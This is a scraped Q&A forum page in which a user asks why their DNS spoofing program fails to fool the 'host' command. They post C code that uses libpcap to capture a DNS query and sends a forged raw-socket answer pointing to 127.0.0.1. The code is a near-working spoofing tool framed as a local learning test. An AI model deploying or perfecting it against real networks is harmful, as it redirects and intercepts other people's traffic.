Note that there are some explanatory texts on larger screens.

plurals
  1. POCan't delude host command with DNS spoofing
    text
    copied!<p>I recently discover the raw sockets and I currently trying to capture a DNS packet (with the libcap library) sent with the host command and to reply to it before the DNS server with a wrong address. Unfortunately, it doesn't seem to work... I can see my packet with tcpdump but it is not pass to the host command. Here is the code I use for my test :</p> <pre><code>#include &lt;arpa/inet.h&gt; #include &lt;netpacket/packet.h&gt; #include &lt;net/ethernet.h&gt; #include &lt;net/if.h&gt; #include &lt;sys/socket.h&gt; #include &lt;sys/types.h&gt; #include &lt;linux/if_ether.h&gt; #include &lt;linux/ip.h&gt; #include &lt;linux/tcp.h&gt; #include &lt;linux/udp.h&gt; typedef unsigned int u_int; typedef unsigned short u_short; typedef unsigned char u_char; #include &lt;pcap/pcap.h&gt; #include &lt;stdint.h&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;unistd.h&gt; struct dnshdr { uint16_t id; uint16_t flags; uint16_t nquestion; uint16_t nanswer; uint16_t nauthority; uint16_t nadditional; }; struct msg { struct ethhdr eth; struct iphdr ip; struct udphdr udp; struct dnshdr dns; unsigned char * data; size_t dlen; }; static void msg_init(uint8_t *, struct pcap_pkthdr const *, uint8_t const *); static void msg_to_pkt(struct msg *, unsigned char *); static uint16_t msg_len(struct msg *); static struct msg * msg_cap(void); static void msg_init(uint8_t * msg, struct pcap_pkthdr const * h, uint8_t const * bytes) { struct msg * self; size_t offset; self = (struct msg *)msg; offset = 0; memcpy(&amp;self-&gt;eth, bytes + offset, sizeof self-&gt;eth); offset += sizeof self-&gt;eth; memcpy(&amp;self-&gt;ip, bytes + offset, sizeof self-&gt;ip); offset += self-&gt;ip.ihl * 4; memcpy(&amp;self-&gt;udp, bytes + offset, sizeof self-&gt;udp); offset += sizeof self-&gt;udp; memcpy(&amp;self-&gt;dns, bytes + offset, sizeof self-&gt;dns); offset += sizeof self-&gt;dns; self-&gt;dlen = h-&gt;len - offset; self-&gt;data = malloc(self-&gt;dlen); if (self-&gt;data == NULL) { perror("malloc"); free(self); exit(EXIT_FAILURE); } memcpy(self-&gt;data, bytes + offset, self-&gt;dlen); } static void msg_to_pkt(struct msg * self, unsigned char * pkt) { memcpy(pkt, &amp;self-&gt;eth, sizeof self-&gt;eth); pkt += sizeof self-&gt;eth; memcpy(pkt, &amp;self-&gt;ip, sizeof self-&gt;ip); pkt += sizeof self-&gt;ip; memcpy(pkt, &amp;self-&gt;udp, sizeof self-&gt;udp); pkt += sizeof self-&gt;udp; memcpy(pkt, &amp;self-&gt;dns, sizeof self-&gt;dns); pkt += sizeof self-&gt;dns; memcpy(pkt, self-&gt;data, self-&gt;dlen); } static uint16_t msg_len(struct msg * self) { uint16_t len; len = 0; len += sizeof self-&gt;eth; len += sizeof self-&gt;ip; len += sizeof self-&gt;udp; len += sizeof self-&gt;dns; len += self-&gt;dlen; return len; } static struct msg * msg_cap(void) { struct bpf_program filter; pcap_t * p; void * msg; char errbuf[PCAP_ERRBUF_SIZE]; p = pcap_create("eth0", errbuf); if (p == NULL) { pcap_perror(p, "pcap_create"); return NULL; } if (pcap_activate(p) &lt; 0) { pcap_perror(p, "pcap_activate"); return NULL; } if (pcap_compile(p, &amp;filter, "dst port 53 and udp", 1, PCAP_NETMASK_UNKNOWN) &lt; 0) { pcap_perror(p, "pcap_compile"); return NULL; } if (pcap_setfilter(p, &amp;filter) &lt; 0) { pcap_perror(p, "pcap_setfilter"); return NULL; } msg = malloc(sizeof (struct msg)); if (msg == NULL) { perror("malloc"); return NULL; } if (pcap_loop(p, 1, &amp;msg_init, msg) &lt; 0) { pcap_perror(p, "pcap_loop"); free(msg); return NULL; } return msg; } uint16_t cksum(void const * buf, size_t nbytes) { uint32_t cs = 0; uint16_t const * p; p = buf; while (nbytes &gt; 1) { cs += *p++; nbytes -= 2; } if (nbytes == 1) { cs += *(uint8_t *)p; } while ((cs &gt;&gt; 16) != 0) { cs = (cs &amp; 0xFFFF) + (cs &gt;&gt; 16); } return ~(uint16_t)cs; } int main(void) { struct msg * msg; struct sockaddr_ll sll; char resp[] = "\xc0\x0c\0\1\0\1\0\0\x02\x65\0\4\x7f\0\0\1"; char ethaddr[ETH_ALEN]; unsigned char * tmp; size_t const rlen = sizeof resp - 1; size_t mlen; uint32_t ipaddr; uint16_t port; int s; s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (s &lt; 0) { perror("socket"); return EXIT_FAILURE; } msg = msg_cap(); if (msg == NULL) { return EXIT_FAILURE; } /* add DNS response */ tmp = malloc(msg-&gt;dlen + rlen); if (tmp == NULL) { perror("malloc"); return EXIT_FAILURE; } memcpy(tmp, msg-&gt;data, msg-&gt;dlen); memcpy(tmp + msg-&gt;dlen, resp, rlen); free(msg-&gt;data); msg-&gt;data = tmp; msg-&gt;dlen += rlen; mlen = msg_len(msg); /* reverse Ethernet address */ memcpy(ethaddr, msg-&gt;eth.h_dest, ETH_ALEN); memcpy(msg-&gt;eth.h_dest, msg-&gt;eth.h_source, ETH_ALEN); memcpy(msg-&gt;eth.h_source, ethaddr, ETH_ALEN); /* reverse IP address and change some fields */ ipaddr = msg-&gt;ip.daddr; msg-&gt;ip.daddr = msg-&gt;ip.saddr; msg-&gt;ip.saddr = ipaddr; msg-&gt;ip.tos = 0; msg-&gt;ip.ttl = 53; msg-&gt;ip.id = htons(9999); msg-&gt;ip.tot_len = htons(mlen - sizeof msg-&gt;eth); msg-&gt;ip.check = 0; msg-&gt;ip.check = cksum(&amp;msg-&gt;ip, sizeof msg-&gt;ip); /* reverse UDP ports and change some fields */ port = msg-&gt;udp.dest; msg-&gt;udp.dest = msg-&gt;udp.source; msg-&gt;udp.source = port; msg-&gt;udp.len = htons(mlen - sizeof msg-&gt;eth - sizeof msg-&gt;ip); msg-&gt;udp.check = 0; /* change DNS flags and nanswer fields */ msg-&gt;dns.flags = htons(0x8180); msg-&gt;dns.nanswer = htons(1); /* alloc buffer and send the packet */ tmp = malloc(mlen); if (tmp == NULL) { perror("malloc"); return EXIT_FAILURE; } msg_to_pkt(msg, tmp); sll.sll_family = AF_PACKET; sll.sll_protocol = htons(ETH_P_IP); sll.sll_ifindex = if_nametoindex("eth0"); sll.sll_hatype = 1; sll.sll_pkttype = PACKET_HOST; sll.sll_halen = ETH_ALEN; memcpy(&amp;sll.sll_addr, msg-&gt;eth.h_dest, ETH_ALEN); if (sendto(s, tmp, mlen, 0, (struct sockaddr *)&amp;sll, sizeof sll) &lt; 0) { perror("sendto"); return EXIT_FAILURE; } close(s); return 0; } </code></pre> <p>Is there something wrong in it ?</p>
 

Querying!

 
Guidance

SQuiL has stopped working due to an internal error.

If you are curious you may find further information in the browser console, which is accessible through the devtools (F12).

Reload